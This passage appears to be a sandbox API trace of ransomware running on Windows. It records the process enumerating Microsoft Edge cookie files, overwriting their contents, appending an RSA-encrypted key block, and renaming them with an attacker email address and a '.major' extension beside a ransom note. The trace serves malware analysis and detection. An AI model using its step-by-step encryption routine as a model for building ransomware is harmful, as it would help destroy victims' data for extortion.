Flags=0x0, Size=0xc0) returned 0x6643a0 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0298.883] GetLastError () returned 0x0 [0298.883] SetLastError (dwErrCode=0x0) [0298.883] GetLastError () returned 0x0 [0298.883] SetLastError (dwErrCode=0x0) [0298.883] GetLastError () returned 0x0 [0298.883] SetLastError (dwErrCode=0x0) [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0298.883] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9d8b2f98, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d8b2f98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d8b2f98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xca, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="QPYWUTN9.cookie", cAlternateFileName="QPYWUT~1.COO")) returned 1 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655598 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0298.884] GetLastError () returned 0x0 [0298.884] SetLastError (dwErrCode=0x0) [0298.884] GetLastError () returned 0x0 [0298.884] SetLastError (dwErrCode=0x0) [0298.884] GetLastError () returned 0x0 [0298.884] SetLastError (dwErrCode=0x0) [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83360 [0298.884] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0298.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6556c0 [0298.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0298.884] GetLastError () returned 0x0 [0298.884] SetLastError (dwErrCode=0x0) [0298.884] GetLastError () returned 0x0 [0298.885] SetLastError (dwErrCode=0x0) [0298.885] GetLastError () returned 0x0 [0298.885] SetLastError (dwErrCode=0x0) [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.885] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd890fec7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd890fec7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd8911251, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="S7Q1EH8Y.txt", cAlternateFileName="")) returned 1 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6556c0 | out: hHeap=0x570000) returned 1 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6564a0 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0298.885] GetLastError () returned 0x0 [0298.885] SetLastError (dwErrCode=0x0) [0298.885] GetLastError () returned 0x0 [0298.885] SetLastError (dwErrCode=0x0) [0298.885] GetLastError () returned 0x0 [0298.885] SetLastError (dwErrCode=0x0) [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6592f0 [0298.885] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9eb4f2f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd9eb4f2f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd9eb4f2f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="UZ3Q0402.txt", cAlternateFileName="")) returned 1 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0298.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655910 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0298.886] GetLastError () returned 0x0 [0298.886] SetLastError (dwErrCode=0x0) [0298.886] GetLastError () returned 0x0 [0298.886] SetLastError (dwErrCode=0x0) [0298.886] GetLastError () returned 0x0 [0298.886] SetLastError (dwErrCode=0x0) [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0298.886] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2d8317c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa2d8317c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa2d8317c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="VFMAORI3.cookie", cAlternateFileName="VFMAOR~1.COO")) returned 1 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654ea8 [0298.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0298.886] GetLastError () returned 0x0 [0298.886] SetLastError (dwErrCode=0x0) [0298.886] GetLastError () returned 0x0 [0298.886] SetLastError (dwErrCode=0x0) [0298.886] GetLastError () returned 0x0 [0298.886] SetLastError (dwErrCode=0x0) [0298.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6640 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f820d0 [0298.887] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1054388, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb1054388, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb1054388, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="WIG5OBMH.cookie", cAlternateFileName="WIG5OB~1.COO")) returned 1 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654ea8 | out: hHeap=0x570000) returned 1 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654ea8 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0298.887] GetLastError () returned 0x0 [0298.887] SetLastError (dwErrCode=0x0) [0298.887] GetLastError () returned 0x0 [0298.887] SetLastError (dwErrCode=0x0) [0298.887] GetLastError () returned 0x0 [0298.887] SetLastError (dwErrCode=0x0) [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81890 [0298.887] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9d3ee2ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d3ee2ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d3ee2ef, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="XQSRME5N.cookie", cAlternateFileName="XQSRME~1.COO")) returned 1 [0298.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654ea8 | out: hHeap=0x570000) returned 1 [0298.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0298.888] GetLastError () returned 0x0 [0298.888] SetLastError (dwErrCode=0x0) [0298.888] GetLastError () returned 0x0 [0298.888] SetLastError (dwErrCode=0x0) [0298.888] GetLastError () returned 0x0 [0298.888] SetLastError (dwErrCode=0x0) [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6758 | out: hHeap=0x570000) returned 1 [0298.888] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4bd7518, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa4bd7518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa4be115d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="YGM53NMZ.cookie", cAlternateFileName="YGM53N~1.COO")) returned 1 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656128 | out: hHeap=0x570000) returned 1 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0298.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0298.888] GetLastError () returned 0x0 [0298.888] SetLastError (dwErrCode=0x0) [0298.888] GetLastError () returned 0x0 [0298.889] SetLastError (dwErrCode=0x0) [0298.889] GetLastError () returned 0x0 [0298.889] SetLastError (dwErrCode=0x0) [0298.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0298.889] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa655339a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa655339a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa655339a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Z5HJPQER.cookie", cAlternateFileName="Z5HJPQ~1.COO")) returned 1 [0298.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6565c8 | out: hHeap=0x570000) returned 1 [0298.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0298.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0298.889] GetLastError () returned 0x0 [0298.889] SetLastError (dwErrCode=0x0) [0298.889] GetLastError () returned 0x0 [0298.889] SetLastError (dwErrCode=0x0) [0298.889] GetLastError () returned 0x0 [0298.889] SetLastError (dwErrCode=0x0) [0298.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.889] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa655339a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa655339a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa655339a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Z5HJPQER.cookie", cAlternateFileName="Z5HJPQ~1.COO")) returned 0 [0298.889] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0298.889] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie", dwFileAttributes=0x80) returned 1 [0298.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f821d8 | out: hHeap=0x570000) returned 1 [0298.898] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\z5hjpqer.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0298.899] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=175) returned 1 [0298.899] ReadFile (in: hFile=0x1b90, lpBuffer=0x666938, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x666938*, lpNumberOfBytesRead=0x2e3f9b4*=0xaf, lpOverlapped=0x0) returned 1 [0298.900] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-175, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0298.900] WriteFile (in: hFile=0x1b90, lpBuffer=0x666ef8*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x666ef8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaf, lpOverlapped=0x0) returned 1 [0298.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666938 | out: hHeap=0x570000) returned 1 [0298.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666ef8 | out: hHeap=0x570000) returned 1 [0298.900] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaf [0298.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.900] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.900] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0298.900] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0298.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0298.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uqZaed+af+wVcp5bd1qtjCmCsGY90sQl6aRreHBI6X1wYWUQSXWZ2sZ65UjAQ/Pf\ndlTdfuEdFubsa9Jw/1ivT1ottrxafHESdO4F6JYzBvp5dKXWwcBoMUrGTUG7T6Yd\n/2jCvkF7MhZigp8pdX/HpqPidnqd8TXFt/mbQ9+3rw8x6lK9YLYEpX5nGVE1Jr9J\n+hPKkfegKLQLsVoOXq51XFqFaHJe/PbXRiPgnloq5D2BGgKaCTg3X8N70Hjq0Yts\nrwmMhuThwsiWrR/GwU7MejGH0I0pmdl+fSknNvBHEORjO4egT7PwHtnmf7X+dTls\ngziFFXJRHzTSIqZyLbeGNw==\n", pcchString=0x2e3f9a8) returned 1 [0298.900] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0298.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.900] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.901] CloseHandle (hObject=0x1b90) returned 1 [0298.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0298.901] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\z5hjpqer.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\z5hjpqer.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0298.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0298.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0298.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81db8 | out: hHeap=0x570000) returned 1 [0298.904] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0298.904] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie", dwFileAttributes=0x80) returned 1 [0298.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f821d8 | out: hHeap=0x570000) returned 1 [0298.905] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\ygm53nmz.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0298.905] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=97) returned 1 [0298.905] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x61, lpOverlapped=0x0) returned 1 [0298.906] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-97, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0298.906] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x61, lpOverlapped=0x0) returned 1 [0298.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6080 | out: hHeap=0x570000) returned 1 [0298.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0298.906] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x61 [0298.907] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.907] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.907] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, 